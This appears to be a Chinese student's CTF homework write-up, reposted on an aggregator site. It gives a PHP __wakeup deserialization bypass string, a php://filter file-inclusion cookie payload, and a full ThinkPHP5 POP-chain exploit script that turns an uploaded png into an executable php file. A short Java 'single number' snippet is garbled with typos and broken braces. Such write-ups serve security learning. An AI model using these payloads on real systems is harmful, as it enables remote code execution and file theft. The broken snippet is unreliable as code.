欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > 1.21作业

1.21作业

2025/2/22 20:14:32 来源:https://blog.csdn.net/2401_87409653/article/details/145786485  浏览:    关键词:1.21作业

1

 unserialize3

当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化

外部如果是unserialize()会调用wakeup()方法,输出“bad request”——构造url绕过wakeup

类型:public class,直接构造:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

2

“找出攻击者的IP”

http协议中,

可疑:POST了hacker.php,追踪hacker.php,url解码,确认是开了个后门

3

进入

就是base64解码

4

 只出现一次的数字

class Solution{public int singleNumber(int[t] nums){int result = 0;for (int num : nums)}{result =resut ^num;}return result;}
}

5

fileinclude

PHP: php:// - Manual

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

upload3

注册登录,对头像尝试文件上传,但无法执行

进行目录扫描获取源码,TP5框架

profile.php

cookie有个反序列化,审完代码以后可以i使用(覆盖掉filename)

if:前两个判断不用改就可以绕过,进ext_check()判断

然后赋值ext
接下来把 filename_tmp 移动到 filename时,就可以把 png 移动为 php 文件了。

_get()与_call():作用上传图像访问,被访问不存在时调用 upload_img()

register.php:
registed 赋值为 false,checker 赋值为我们的 $profile

从而调用其中的 index 方法,再跳到 upload_img() 了。

<?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));

ThinkPHP5.1反序列化漏洞利用-CSDN博客

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词